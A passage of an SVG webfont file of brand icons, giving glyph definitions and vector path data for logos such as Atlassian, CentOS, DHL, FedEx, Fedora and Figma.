163.3c0.0546875 0.00488281 0.108398 -0.03125 0.164062 -0.03125c1.01562 0 1.84082 -0.824219 1.84082 -1.83984c0 -0.0429688 -0.00195312 -0.0859375 -0.00488281 -0.128906v-0.799805c0.00195312 -0.0332031 0.00488281 -0.0664062 0.00488281 -0.100586 +c0 -0.999023 -0.811523 -1.80957 -1.81055 -1.80957c-0.0654297 0 -0.130859 0.00292969 -0.194336 0.00976562h-22.5c-0.0634766 -0.00683594 -0.126953 -0.0117188 -0.192383 -0.0117188c-0.999023 0 -1.81055 0.811523 -1.81055 1.81055 +c0 0.0341797 0.000976562 0.0683594 0.00292969 0.101562v63c-0.0107422 0.0751953 -0.0166016 0.150391 -0.0166016 0.229492c0 0.893555 0.725586 1.61914 1.61914 1.61914c0.137695 0 0.270508 -0.0166016 0.397461 -0.0488281h22.2002 +c0.0771484 0.0107422 0.155273 0.0175781 0.236328 0.0175781c0.976562 0 1.76953 -0.792969 1.76953 -1.76953c0 -0.0498047 -0.00195312 -0.0996094 -0.00585938 -0.147461v-0.800781c0.00195312 -0.0380859 0.00488281 -0.0742188 0.00488281 -0.113281 +c0 -1.04297 -0.84668 -1.88965 -1.88965 -1.88965c-0.0390625 0 -0.0771484 0.000976562 -0.115234 0.00292969h-19.1006v-25.7998h16.1006c0.0380859 0.00292969 0.0742188 0.00488281 0.113281 0.00488281c1.04297 0 1.88965 -0.84668 1.88965 -1.88965 +c0 -0.0390625 -0.000976562 -0.0771484 -0.00292969 -0.115234v-0.799805c0.00195312 -0.0380859 0.00488281 -0.0751953 0.00488281 -0.113281c0 -1.04297 -0.84668 -1.89062 -1.88965 -1.89062c-0.0390625 0 -0.0771484 0.00195312 -0.115234 0.00390625h-16.1006 +v-26.7002h19.4004zM407.9 226.2c10.0996 0 15.2998 -4.74023 15.2998 -14.1006v-40.0996c0 -9.2998 -5.2002 -14.0996 -15.2998 -14.0996h-0.800781c-10.0996 0 -15.2998 4.7998 -15.2998 14.0996v40.0996c0 9.40039 5.2002 14.1006 15.2998 14.1006h0.800781zM418.1 173.8 +v36.6006c0 7.89941 -3 11.0996 -10.5 11.0996s-10.5 -3.2002 -10.5 -11.0996v-36.6006c0 -8 3 -11.0996 10.5 -11.0996s10.4004 3.09961 10.5 11.0996zM371.6 188.3l10.6006 -27.2998c0.5 -1.2998 -0.100586 -2.2998 -1.5 -2.2998h-1.5 +c-0.0429688 -0.00292969 -0.0839844 -0.00488281 -0.12793 -0.00488281c-0.993164 0 -1.8418 0.625977 -2.17188 1.50488l-10.4004 27.2002h-11.5996v-26.9004c0.00488281 -0.0556641 0.00976562 -0.111328 0.00976562 -0.167969 +c0 -0.960938 -0.780273 -1.74023 -1.74023 -1.74023c-0.0576172 0 -0.114258 0.00292969 -0.169922 0.0078125h-1.2002c-0.0634766 -0.00683594 -0.126953 -0.0117188 -0.192383 -0.0117188c-0.999023 0 -1.81055 0.811523 -1.81055 1.81055 +c0 0.0341797 0.000976562 0.0683594 0.00292969 0.101562v63c-0.00195312 0.0332031 -0.00488281 0.0664062 -0.00488281 0.100586c0 0.999023 0.811523 1.80957 1.81055 1.80957c0.0654297 0 0.130859 -0.00292969 0.194336 -0.00976562h13.7002 +c10.0996 0 15.2998 -4.7002 15.2998 -14.1006v-9.7002c0 -7.19922 -3.09961 -11.6992 -9.2002 -13.2998zM365.2 192.2c7.5 0 10.5 3.16016 10.5 11v6.39941c0 8 -3 11.1006 -10.5 11.1006h-10.2002v-28.5h10.2002zM451.1 225.3c10.1006 0 15.3008 -4.7002 15.3008 -14.0996 +v-10.5c0 -9.2998 -5.2002 -14.1006 -15.3008 -14.1006h-10.5996v-26.0996c0.00585938 -0.0556641 0.00976562 -0.111328 0.00976562 -0.167969c0 -0.960938 -0.779297 -1.74023 -1.74023 -1.74023c-0.0566406 0 -0.113281 0.00292969 -0.169922 0.0078125h-1.19922 +c-0.0644531 -0.00683594 -0.12793 -0.0117188 -0.193359 -0.0117188c-0.999023 0 -1.80957 0.811523 -1.80957 1.81055c0 0.0341797 0.000976562 0.0683594 0.00292969 0.101562v63c-0.0107422 0.0751953 -0.0175781 0.150391 -0.0175781 0.229492 +c0 0.893555 0.726562 1.61914 1.62012 1.61914c0.136719 0 0.270508 -0.0166016 0.397461 -0.0488281h13.6992zM461.3 202.5v7.09961c0 7.90039 -3 11.1006 -10.5 11h-10.2002v-29.1992h10.2002c7.5 0 10.5 3.19922 10.5 11.0996zM259.5 140l7.09961 -0.0996094 +l-5.69922 -4.30078l2.09961 -6.7998l-5.7998 4.10059l-5.7998 -4.10059l2.09961 6.7998l-5.7002 4.30078l7.10059 0.0996094l2.2998 6.7998zM487.1 276.1c122.301 -46.0996 118.401 -132.54 -33.8984 -176.34c13.3994 -49.7002 18.0996 -101.899 0.0996094 -133.8 +c-3.7998 -6.7002 -16.7998 -27.7002 -47.5996 -27.7002c-41.5 0 -110.2 41.6006 -182.101 142c-42.7998 3.5 -72.1992 10.1006 -84.5996 13c-20.5 -82.2998 -6.7998 -125.3 15.5 -137.899c1.2002 -0.700195 38.4004 -27.2002 120.9 52.7998 +c3.39941 -3.5 6.79883 -6.90039 10.1982 -10.2002c-63.0996 -61.2002 -110.199 -71 -138.199 -55.2002c-32.4004 18.2998 -42.8008 72 -22.3008 153.9c-18.8994 5 -121.6 33.2002 -122.1 92.7998c-0.400391 40.9004 49.7998 74.7002 120.3 95 +c-13.3994 49.5996 -18.2002 101.8 -0.0996094 133.8c3.7998 6.74023 16.7998 27.7402 47.5996 27.7402c41.6006 0 110.3 -41.6396 182.2 -142.14c28.7607 -2.29492 57.1504 -6.70801 84.5996 -13c20.5 82 6.90039 125.1 -15.5 137.8 +c-1.2998 0.700195 -38.3994 27.2002 -120.899 -52.7998c-3.40039 3.5 -6.80078 6.89941 -10.2002 10.1992c52.2998 50.9404 103.7 74.6006 138.2 55.2402c33.8994 -19.2002 41.8994 -75.8994 22.2998 -153.899c12.0234 -3.14844 24.0938 -6.9873 35.5996 -11.3008z +M135.901 411.16c-23.1006 -40.7998 1 -121.562 1.19922 -122.961c27.2979 6.86914 55.7041 11.835 84.4004 14.5996c15.5215 22.6875 32.2832 43.9033 50.7002 64.2002c3.39941 -3.33301 6.7998 -6.74609 10.2002 -10.2393 +c-15.1953 -16.6592 -29.1309 -33.958 -42.2002 -52.3994c17.9678 1.35645 34.9062 2.04102 53.2197 2.04102c13.6523 0 27.2158 -0.383789 40.6797 -1.1416c-64.5 86.6006 -126.5 126.2 -163.3 126.2c-23 0 -32 -15.2002 -34.8994 -20.2998zM440.701 -27.1406 +c3.2998 6 21.5 38.5996 -1.2002 123c-4.09961 -1.10059 -37.0996 -9.90039 -84.4004 -14.6006c-15.4961 -22.7061 -32.2598 -43.9238 -50.6992 -64.2002c-3.40039 3.2998 -6.80078 6.7002 -10.2002 10.2002c15.1943 16.6602 29.1299 33.958 42.2002 52.4004 +c-17.9014 -1.38379 -34.792 -2.08301 -53.0459 -2.08301c-13.7139 0 -27.3359 0.398438 -40.8545 1.18262c64.5996 -86.7998 126.6 -126.2 163.3 -126.2c23.1006 0 32 15.2002 34.9004 20.3008zM449.801 111.459c25.6006 7.2998 85.9004 27.4004 105.7 62.5 +c1.40039 2.5 33.5 50.5 -72.5996 90.4004c-11.1553 4.18555 -22.8525 7.92188 -34.5 11c-3.60059 -12.9004 -7.90039 -26.1006 -12.8008 -39.5c-3.71387 -0.506836 -6.9248 -2.60645 -8.89941 -5.60059l-0.100586 0.100586c-1.94824 1.84863 -4.25 3.31445 -6.7998 4.2998 +c5.7002 15 10.6006 29.7998 14.6006 44.2002c-7.2002 1.69922 -31.8008 7.59961 -72.2002 11.6992c16.7002 -24.5 27.8994 -44.0996 34.2998 -55.5c-4.18457 -1.36719 -7.79199 -3.96777 -10.4004 -7.39941c-13.5996 16.3994 -11 19.8994 -42.5 64.5 +c-16.6885 1.17285 -32.207 1.77344 -49.1914 1.77344c-21.2998 0 -42.3818 -0.9375 -63.208 -2.77344c-16.9004 -25 -28.2998 -45.2002 -34.7998 -56.9004c-4.16797 -1.77637 -7.68652 -4.69238 -10.2002 -8.39941c-1.07422 3.39844 -3.37402 6.23633 -6.40039 8 +c6.10059 11.3994 16.9004 31 32.7998 55.2998c-39.5996 -4.60059 -65 -11.2002 -72 -13c4.30078 -14.1006 9.40039 -28.6006 15.2002 -43.2998c-0.866211 -0.632812 -1.63086 -1.36328 -2.2998 -2.2002c-1.5 1.89941 -4 5.2998 -14.4004 5.2998 +c-4.69922 12.2998 -8.7998 24.5 -12.3994 36.4004c-138.8 -40.3604 -158.4 -121.36 1.5 -164c3.59961 12.8994 7.7998 26 12.7002 39.3994c0.328125 -0.0185547 0.651367 -0.0214844 0.984375 -0.0214844c2.0752 0 4.06641 0.360352 5.91504 1.02148 +c3 -1.2002 5.2002 -1 8.40039 -1c-5.5 -14.5996 -10.2002 -28.8994 -14.1006 -42.8994c23.4512 -5.42578 47.71 -9.39258 72.2002 -11.7002c-16.2998 23.8994 -27.5 43.3994 -33.7998 54.5996c8.7002 0 10.7002 1.60059 12.5996 3.2002 +c0.950195 -0.574219 1.95996 -1.08008 3 -1.5c15.3008 -26.7002 28.9004 -46.5996 36.8008 -57.7998c16.6875 -1.17285 32.2051 -1.77344 49.1895 -1.77344c21.2998 0 42.3838 0.9375 63.21 2.77344c16.5 24.2998 27.7002 44 33.9004 55.2002 +c7.2998 0 9.7998 3 10.8994 4.19922c1.82324 -1.3252 3.84766 -2.41113 6 -3.19922c-15 -28 -28.6992 -48.9004 -32.1992 -54.2002c24.4219 2.70312 48.6768 7.11816 72 13c-4.10059 13.7998 -9 27.8994 -14.7002 42.2002c2.00391 0.898438 3.81934 2.11523 5.39941 3.59961 +l0.100586 0.0996094c2.2666 -3.44043 6.1543 -5.7002 10.5781 -5.7002c0.0410156 0 0.0810547 0 0.12207 0.000976562c4.69922 -12.3008 8.7998 -24.5 12.3994 -36.4004zM335.401 225.459c0.0664062 0.00683594 0.132812 0.00878906 0.201172 0.00878906 +c1.07422 0 1.95117 -0.84668 1.99805 -1.90918v-51.5c0 -9.5 -5 -14.0996 -15.0996 -14.0996h-0.400391c-10.0996 0 -15.0996 4.5 -15.0996 14.0996v51.5c-0.00195312 0.0341797 -0.00488281 0.0664062 -0.00488281 0.100586c0 0.999023 0.811523 1.81055 1.81055 1.81055 +c0.0654297 0 0.130859 -0.00390625 0.194336 -0.0107422h1.2002c0.0742188 0.00976562 0.148438 0.0166016 0.224609 0.0166016c0.932617 0 1.69043 -0.756836 1.69043 -1.68945c0 -0.0771484 -0.00488281 -0.15332 -0.015625 -0.227539v-49.7998 +c0 -8 2.60059 -11.0996 10.1006 -11.0996s10.0996 3.2002 10.0996 11.0996v49.7998c-0.00488281 0.0566406 -0.00976562 0.111328 -0.00976562 0.168945c0 0.959961 0.779297 1.73926 1.74023 1.73926c0.0576172 0 0.114258 -0.00195312 0.169922 -0.0078125h1.2002z +M321.701 139.999l7.09961 -0.0996094l-5.7002 -4.30078l2.10059 -6.7998l-5.7998 4.10059l-5.80078 -4.10059l2.10059 6.7998l-5.7002 4.30078l7.09961 0.0996094l2.30078 6.7998zM290.601 132.599l7.10059 -0.0996094l-5.7002 -4.2998l2.09961 -6.7998l-5.7998 4.09961 +l-5.7998 -4.09961l2.09961 6.7998l-5.69922 4.2998l7.09961 0.0996094l2.2998 6.80078zM295.701 163.399c0.0615234 0.00585938 0.12207 -0.0292969 0.185547 -0.0292969c1.00977 0 1.83008 -0.819336 1.83008 -1.83008 +c0 -0.0810547 -0.00585938 -0.162109 -0.015625 -0.241211v-0.799805c0.00390625 -0.0488281 0.0078125 -0.0966797 0.0078125 -0.145508c0 -0.977539 -0.792969 -1.77051 -1.77051 -1.77051c-0.0800781 0 -0.160156 0.00585938 -0.237305 0.015625h-22.5 +c-0.0644531 -0.00683594 -0.126953 -0.0117188 -0.193359 -0.0117188c-0.999023 0 -1.80957 0.811523 -1.80957 1.81055c0 0.0341797 0.000976562 0.0683594 0.00292969 0.101562v63c-0.00195312 0.0332031 -0.00488281 0.0664062 -0.00488281 0.100586 +c0 0.999023 0.811523 1.80957 1.80957 1.80957c0.0664062 0 0.130859 -0.00292969 0.195312 -0.00976562h22.2002c0.0771484 0.00976562 0.155273 0.0175781 0.235352 0.0175781c0.977539 0 1.77051 -0.793945 1.77051 -1.77051 +c0 -0.0498047 -0.00195312 -0.0986328 -0.00585938 -0.147461v-0.799805c0.00195312 -0.0380859 0.00488281 -0.0751953 0.00488281 -0.113281c0 -1.04395 -0.847656 -1.89062 -1.89062 -1.89062c-0.0380859 0 -0.0761719 0.000976562 -0.114258 0.00390625h-19.1006 +v-25.7998h16.1006c0.0380859 0.00195312 0.0742188 0.00488281 0.113281 0.00488281c1.04297 0 1.88965 -0.847656 1.88965 -1.89062c0 -0.0380859 -0.000976562 -0.0761719 -0.00292969 -0.114258v-0.800781 +c0.00195312 -0.0380859 0.00488281 -0.0742188 0.00488281 -0.113281c0 -1.04297 -0.847656 -1.88965 -1.89062 -1.88965c-0.0380859 0 -0.0761719 0.000976562 -0.114258 0.00292969h-16.1006v-26.6992h19.4004zM288.301 262.799l2.2998 -6.7998l7.10059 -0.0996094 +l-5.7002 -4.30078l2.09961 -6.7998l-5.7998 4.10059l-5.7998 -4.10059l2.09961 6.7998l-5.69922 4.30078l7.09961 0.0996094z" /> + <glyph glyph-name="artstation" unicode="" horiz-adv-x="512" +d="M2 70.5996h315.1l59.2002 -102.6h-285.399c-0.00488281 0 0.0205078 -0.0498047 0.015625 -0.0498047c-20.0742 0 -37.4736 11.5439 -45.916 28.3496zM501.8 98c19 -29.4004 -0.0996094 -55.9004 -2 -59.0996l-40.7002 -70.5l-257.3 447.6h88.4004 +c0.00390625 0 -0.0234375 0.0527344 -0.0195312 0.0527344c19.6797 0 36.79 -11.0879 45.4189 -27.3525zM275 143.5h-231l115.5 200z" /> + <glyph glyph-name="atlassian" unicode="" horiz-adv-x="512" +d="M152.2 211.6c66.2998 -70.7998 89.0996 -189.3 51.2002 -267.1c-2.40039 -5.2002 -7.60059 -8.5 -13.4004 -8.40039h-175c-11 0 -18.4004 11.7002 -13.4004 21.7002l125.801 251c5.09961 10.5 17.0996 11 24.7998 2.7998zM244.4 439.9 +c6.7998 10.8994 20.2998 10.6992 25.5996 0.0996094c5.90039 -11.7002 240.4 -482.3 240.4 -482.3c5 -9.90039 -2.2002 -21.7002 -13.4004 -21.7002h-174.2c-5.7002 0 -10.8994 3.2998 -13.3994 8.40039c-73.5 146.899 -187.301 302.1 -65 495.5z" /> + <glyph glyph-name="canadian-maple-leaf" unicode="" horiz-adv-x="512" +d="M383.8 96.2998c-5 -5 -10 -7.5 -5 -22.5s10 -35.0996 10 -35.0996s-95.2002 20.0996 -105.2 22.5996c-8.89941 0.900391 -18.3994 -2.39941 -18.3994 -12.5c0 -10.0996 5.7998 -112.8 5.7998 -112.8h-30s5.7998 102.8 5.7998 112.8s-9.59961 13.4004 -18.2998 12.5 +c-10.0996 -2.5 -105.3 -22.5996 -105.3 -22.5996s5 20.0996 10.0996 35.0996c4.90039 15 0 17.5 -5.09961 22.5c-2.60059 2.5 -105.2 92.4004 -105.2 92.4004l17.5 7.59961c10 4.90039 7.40039 11.4004 5 17.4004c-2.5 7.59961 -20.0996 67.2998 -20.0996 67.2998 +s47.5996 -10 57.6992 -12.5c7.5 -2.40039 10 2.5 12.5 7.5s15 32.2998 15 32.2998s52.6006 -59.7998 55.1006 -62.2998c10.0996 -7.5 20.0996 0 17.5996 10c0 10 -27.5996 129.6 -27.5996 129.6s30.0996 -17.3994 40.0996 -22.3994c7.60059 -5 12.6006 -5 17.6006 5 +c5 7.5 42.5 79.7998 42.5 79.7998s37.5996 -72.2998 42.6992 -79.7998c5 -10 10.1006 -10 17.6006 -5c10 5 40.0996 22.3994 40.0996 22.3994s-27.5996 -119.6 -27.5996 -129.6c-2.5 -10 7.59961 -17.5 17.5996 -10c2.5 2.40039 55.1006 62.2998 55.1006 62.2998 +s12.5 -27.3994 15 -32.3994s5 -9.90039 12.5 -7.5c10 2.5 57.6992 12.5 57.6992 12.5s-17.6992 -59.7002 -20.0996 -67.3008c-2.40039 -5.89941 -5 -12.5 5 -17.3994l17.5 -7.5s-102.7 -89.9004 -105.2 -92.4004z" /> + <glyph glyph-name="centos" unicode="" +d="M289.6 350.5l31.6006 -31.7002l-76.2998 -76.5v108.2h44.6992zM127.2 318.8l31.5996 31.7002h44.7002v-108.2zM168.7 360.4l55.5 55.5996l55.5 -55.5996h-44.7002v-127.9l-10.7998 -10.7998l-10.7998 10.7998v127.9h-44.7002zM194.9 192.3l-10.8008 -10.7998h-128.6 +v-44.7998l-55.5 55.5996l55.5 55.6006v-44.8008h128.6zM274.2 213l76.2998 76.5l31.5996 -31.7002v-44.7998h-107.899zM447.5 192.3l-55.5 -55.5996v44.7998h-127.7l-10.7998 10.7998l10.7998 10.7998h127.7v44.8008zM65.4004 271.8v78.7002h79.3994l-31.5996 -31.7002 +l90.2998 -90.5v-15.2998h-15.2998l-90.2998 90.5zM382.1 350.5v-78.7002l-31.5996 31.7002l-90.2998 -90.5h-15.2998v15.2998l90.2998 90.5l-31.6006 31.7002h78.5zM203.5 34.0996v-0.0996094h-44.7002l-31.5996 31.7002l76.2998 76.5v-108.101zM65.4004 213v44.7998 +l32.5 31.7002l76.2998 -76.5h-108.8zM382.1 112.8v-78.7002h-78.5l31.6006 31.7002l-90.2998 90.5v15.2998h15.2998l90.2998 -90.5zM382.1 171.6v-44.7998l-31.5996 -31.7002l-76.2998 76.5h107.899zM321.2 65.7998l-31.6006 -31.5996h-44.6992v108.1zM97.9004 95.0996 +l-32.5 31.7002v44.7998h108.8zM279.7 24.2002l-55.5 -55.6006l-55.5 55.6006h44.7002v127.899l10.7998 10.8008l10.7998 -10.8008v-127.899h44.7002zM113.2 65.7998l31.5996 -31.7002h-79.3994v78.7002l32.5 -31.7002l90.2998 90.5h15.2998v-15.2998z" /> + <glyph glyph-name="confluence" unicode="" horiz-adv-x="512" +d="M2.2998 35.7998c42.2998 66.9004 125.2 233.2 373.101 112.601c39.6992 -19.1006 83.6992 -39.9004 105.899 -50.3008c8 -3.69922 11.7002 -13.1992 8.10059 -21.2998l-50.4004 -114.1c-0.0996094 -0.100586 -0.0996094 -0.299805 -0.200195 -0.400391 +c-3.89941 -8.09961 -13.5996 -11.5996 -21.7002 -7.7002c-200.399 95.2002 -213.8 111.5 -280.899 -0.699219c0 0 -0.100586 -0.100586 -0.100586 -0.200195c-4.69922 -7.7002 -14.6992 -10 -22.3994 -5.2998l-105.9 65.1992c-7.59961 4.7002 -10 14.6006 -5.5 22.2002z +M509.7 347.9c-42.6006 -67.5 -125.4 -232.9 -373.4 -112.9c-39.7002 19.2002 -83.7998 40 -106 50.4004c-8 3.69922 -11.7002 13.1992 -8.09961 21.2998l50.5 114.1c0.0996094 0.100586 0.0996094 0.299805 0.200195 0.400391 +c3.89941 8.09961 13.5996 11.5996 21.6992 7.7002c199.5 -94.7002 213.301 -111.7 280.601 0.899414c0.200195 0.400391 0.399414 0.700195 0.599609 1c5 7.5 15.1006 9.40039 22.6006 4.40039l105.8 -65.1006c7.59961 -4.69922 10 -14.5996 5.5 -22.1992z" /> + <glyph glyph-name="dhl" unicode="" horiz-adv-x="640" +d="M238 146.8l22.2998 30.2002h58.7002l-22.2998 -30.2002h-58.7002zM0 165.1h86.5l-4.7002 -6.39941h-81.7998v6.39941zM172.9 177h68.1992c-5.69922 -7.7998 -24.0996 -30.2998 -57.1992 -30.2998h-100.101l41.1006 55.7998h51c5.59961 0 5.59961 -2.2002 2.7998 -5.90039 +c-2.7998 -3.69922 -7.60059 -10.2998 -10.4004 -14.0996c-1.39941 -1.90039 -4.09961 -5.5 4.60059 -5.5zM490.4 183.9h-62.2002l39.2998 53.3994h62.2002zM95.2998 177l-4.7002 -6.40039h-90.5996v6.40039h95.2998zM206.3 203.6 +c2.7998 3.7002 2.90039 5.90039 -2.7002 5.90039h-111.399l20.3994 27.7998h117.9c29.9004 0 37.5996 -23.5996 29.2002 -35c-6.2002 -8.39941 -13.5 -18.3994 -13.5 -18.3994h-45.6006c-8.69922 0 -6 3.5 -4.59961 5.5c2.7998 3.7998 7.5 10.3994 10.2998 14.1992zM0 146.8 +v6.40039h77.7998l-4.7002 -6.40039h-73.0996zM323 146.8c0 0 22.2002 30.2002 22.2998 30.2002h58.7002l-22.2998 -30.2002h-58.7002zM545 146.7l4.7002 6.39941h90.2998v-6.39941h-95zM567.3 177h72.7002v-6.40039h-77.4004zM553.8 158.7l4.7002 6.39941h81.5v-6.39941 +h-86.2002zM389.6 237.3h58.7002l-39.2998 -53.3994h-143.6l39.2998 53.3994h58.7002l-22.5 -30.5996h26.1992zM423.1 177h133.4l-22.2998 -30.2998h-94.2998c-24.1006 0 -30.6006 11.5996 -23.2002 21.5996c2.09961 2.7998 6.39941 8.7002 6.39941 8.7002z" /> + <glyph glyph-name="diaspora" unicode="" horiz-adv-x="512" +d="M251.64 93.4502c-1.39941 0 -88 -119.9 -88.6992 -119.9c-0.700195 0 -86.6006 60.4502 -86.9404 61.2002s86.5996 125.7 86.5996 127.4c0 2.19922 -129.6 44 -137.6 47.0996c-1.2998 0.5 31.4004 101.8 31.7002 102.1c0.599609 0.700195 144.399 -47 145.5 -47 +c0.399414 0 0.899414 0.600586 1 1.30078c0.399414 2 1 148.6 1.7002 149.6c0.799805 1.2002 104.5 0.700195 105.1 0.299805c1.5 -1 3.5 -156.1 6.09961 -156.1c1.40039 0 138.7 47 139.301 46.2998c0.799805 -0.900391 31.8994 -102.2 31.5 -102.6 +c-0.900391 -0.900391 -140.2 -47.1006 -140.601 -48.8008c-0.299805 -1.39941 82.7998 -122.1 82.5 -122.899s-85.5 -63.5 -86.2998 -63.5c-1 0.200195 -89 125.5 -90.9004 125.5h0.0400391z" /> + <glyph glyph-name="fedex" unicode="" horiz-adv-x="640" +d="M586 163.5l54 -60.5h-64.4004l-22.2998 25l-22.0996 -25h-212.2v11.9004h-0.5c-7.90039 -11.7002 -20.7998 -18.6006 -34.9004 -18.6006c-32.6992 0 -56.3994 26.4004 -60.0996 56.9004h-85.5c0 -23.5 31.0996 -35.5 45.7998 -14.6006h42 +c-27.5996 -67.6992 -130.2 -49.3994 -130.2 23.7002c0 6.40039 0.800781 12.5 2.30078 18.2002h-48.9004v-77.5h-49v184.4h109v-41.1006h-60v-26.2002h54.7998v-24.1992c24.5 43.5996 103.9 45.3994 121.9 -14c7.5 25.5 28.8994 44.8994 57.2998 44.8994 +c13.9004 0 25.7998 -3.7998 35.4004 -14.7998h0.5v75.5h151.199v-48.0996h-56.0996v-16h118.7l22.5 -24.8008l21.7002 24.8008h62.3994zM139.3 180.1h46.5c-4.7998 25.6006 -40.3994 26.3008 -46.5 0zM292.7 131.2c34.5 0 32.5996 62.7998 0 62.7998 +c-34 0 -34.6006 -62.7998 0 -62.7998zM460.5 112.1v29.6006h-56.0996v44.7002h56.0996v28.0996h-55.5v33.9004h56.0996v30.1992h-95v-166.5h94.4004zM414.6 151.9h56.1006v-45.6006l50.7002 57l-50.7002 57v-44h-56.1006v-24.3994zM553.2 141.6l26.2998 -29.5h40.5 +l-46 51.4004l45.4004 51h-38.5l-25.6006 -29.2998l-26.5996 29.2998h-39.7002l45.5996 -51.2002l-45.5996 -51.2002h38.0996z" /> + <glyph glyph-name="fedora" unicode="" +d="M225 416c123.7 -0.299805 223.7 -100.9 223.4 -224.6c-0.300781 -123.7 -100.9 -223.7 -224.601 -223.4l-170.2 0.400391c-29.582 0 -53.6006 24.0117 -53.6006 53.5938c0 0.102539 0 0.204102 0.000976562 0.305664l0.400391 170.3 +c0.399414 123.7 100.899 223.7 224.6 223.4zM394.8 258.8c-0.0947266 7.71387 -1.06445 15.1934 -2.7998 22.4004l-55.2002 56.0996v-1.59961c0 -5.10059 -1.5 -9.60059 -3.7998 -14.2998zM331 353.7c1.94141 -2.71777 3.39453 -5.85449 4.2002 -9.2002l54.2998 -54.5996 +c-9.56543 28.6953 -30.9629 51.8848 -58.5 63.7998zM118.1 200.8c-5.54395 -0.450195 -11.0029 -1.44336 -16.1992 -2.89941l8.5 -8.5c2.04004 4.16895 4.62598 7.98535 7.69922 11.3994zM97 196.6c-4.72363 -1.31543 -9.36719 -3.08691 -13.7002 -5.19922l27 -27.2002 +c-1.51855 3.87012 -2.37598 8.09961 -2.39941 12.5l0.899414 8zM78.7998 189.2c-3.89551 -2.1748 -7.62207 -4.57227 -11.2002 -7.2002l35.3008 -35.9004c4.36133 2.17188 9.16016 3.79395 14.0996 4.7002zM63.5996 179.4 +c-3.7207 -2.78223 -7.0625 -5.89355 -10.0996 -9.40039l34.9004 -34.5996c3.2168 3.18945 6.69531 6.00781 10.5 8.5zM50.2998 167.1c-2.89941 -3.2998 -5.7998 -6.69922 -8.59961 -10.5l35.7998 -35.8994c2.11035 4.12598 4.6875 7.93262 7.7002 11.3994zM39.2998 152.8 +c-2.49414 -3.82227 -4.73926 -7.83984 -6.7002 -12l39.5 -39.7998c0.374023 5.3252 1.63574 10.4883 3.60059 15.2002zM30.5 136.5c-1.7998 -4.90039 -3.2998 -9.59961 -4.7002 -14.5l52.7002 -53.5c-3.96484 7.90234 -6.36621 16.8438 -6.7002 26.2002zM22.5996 93.5 +c0.046875 -7.56934 1.05859 -14.8945 2.90039 -21.9004l55.4004 -55.6992v1.09961c0.0429688 5.14551 1.35156 10.0322 3.59961 14.2998zM27.9004 62.7998c9.59375 -28.6787 30.9805 -51.8564 58.5 -63.7998c-1.90527 2.74219 -3.35254 5.87402 -4.2002 9.2002z +M22.5996 99.7998l64.4004 -64.2002c2.76953 3.4707 6.08594 6.38965 9.90039 8.7002l-72.2002 72.5c-1.2793 -5.48047 -2.00293 -11.1543 -2.10059 -17zM275.9 151.6c32.5996 -0.0996094 32.6992 49.2002 0.199219 49.4004l-33.5996 0.0996094 +c-4.91504 0.0224609 -8.90039 4.01855 -8.90039 8.93945v0.0605469l0.100586 47c0.0996094 40.5 38.5996 60.8008 66 54.9004c15.3994 -3.90039 30.2998 8.40039 30.2998 23.9004c0 12.0996 -8.7002 22.1992 -19.9004 24c-6.37305 1.50098 -12.9639 2.30078 -19.793 2.30078 +c-0.135742 0 -0.271484 -0.000976562 -0.40625 -0.000976562c-0.143555 0 -0.277344 -0.00292969 -0.420898 -0.00292969c-57.9893 0 -105.081 -47.0303 -105.18 -104.997l-0.0996094 -56l-42.6006 0.0996094c-32.5996 0.100586 -32.6992 -49.2002 -0.0996094 -49.2998 +l33.5996 -0.0996094c4.40039 0 8.90039 -4.5 8.90039 -9l-0.0996094 -47c-0.00585938 -30.8535 -25.0527 -55.9004 -55.9062 -55.9004h-0.194336c-9.39941 0 -9.39941 1.59961 -15.7002 1.59961c-13.458 -0.209961 -24.3447 -11.1289 -24.5 -24.5996 +c0 -15.5 14.2002 -24.2002 19.9004 -24.2002c61.2998 -12.8994 125.5 33.6006 125.7 102.9l0.0996094 56zM299.4 151.9c5.48145 0.538086 10.9062 1.52637 16.0996 2.89941l-8.5 8.5c-1.78711 -4.29492 -4.37207 -8.14844 -7.59961 -11.3994zM320.4 156.1 +c4.74121 1.31738 9.38574 3.12305 13.6992 5.30078l-27 27.1992c1.51855 -3.86914 2.37598 -8.09961 2.40039 -12.5l-0.900391 -8.09961zM338.4 163.5c4 2.2002 8.09961 4.7002 11.8994 7.2002l-36.2002 35.8994c-4.09961 -2.2998 -8.7998 -3.59961 -13.6992 -4.69922z +M353.9 173.3c3.55273 2.83594 6.87891 5.7998 10.0996 9l-34.9004 35c-3.18457 -3.22266 -6.66797 -6.04492 -10.5 -8.5zM367.1 185.6c3.0625 3.36523 5.89941 6.82812 8.60059 10.5l-35.7998 35.9004c-2.1582 -4.0957 -4.73145 -7.89746 -7.7002 -11.4004zM378.1 199.9 +c2.53027 3.79688 4.77832 7.81738 6.7002 12l-39.5 39.7998c-0.374023 -5.3252 -1.63574 -10.4893 -3.59961 -15.2002zM391.6 230.8l-53.0996 53.4004c4.25977 -7.79688 6.82422 -16.7627 7.09961 -26.2002l41.3008 -41.5c1.7959 4.61523 3.39258 9.46387 4.69922 14.2998z +M392.6 236.4c1.25586 5.3623 2.04199 10.9189 2.30078 16.5996l-64.3008 64.7002c-2.61426 -3.74805 -5.95898 -6.85938 -9.89941 -9.2002z" /> + <glyph glyph-name="figma" unicode="" horiz-adv-x="384" +d="M14 352.208c0 52.9043 42.8877 95.792 95.793 95.792h164.368c52.9053 0 95.793 -42.8877 95.793 -95.792c0 -33.5 -17.1963 -62.9844 -43.2432 -80.1055c26.0469 -17.1211 43.2432 -46.6045 43.2432 -80.1045c0 -52.9053 -42.8877 -95.793 -95.793 -95.793h-2.08008 +c-24.8018 0 -47.4033 9.42578 -64.415 24.8906v-88.2627c0 -53.6104 -44.0088 -96.833 -97.3574 -96.833c-52.7725 0 -96.3086 42.7568 -96.3086 95.793c0 33.498 17.1943 62.9805 43.2393 80.1016c-26.0449 17.1221 -43.2393 46.6055 -43.2393 80.1035 +c0 33.5 17.1963 62.9834 43.2422 80.1045c-26.0459 17.1211 -43.2422 46.6055 -43.2422 80.1055zM176.288 256.413h-66.4951c-35.5762 0 -64.415 -28.8398 -64.415 -64.415c0 -35.4385 28.6172 -64.1924 64.0029 -64.4141 +c0.136719 0.000976562 0.274414 0.000976562 0.412109 0.000976562h66.4951v128.828zM207.666 191.998c0 -35.5752 28.8389 -64.415 64.415 -64.415h2.08008c35.5762 0 64.415 28.8398 64.415 64.415s-28.8389 64.415 -64.415 64.415h-2.08008 +c-35.5762 0 -64.415 -28.8398 -64.415 -64.415zM109.793 96.2051c-0.137695 0 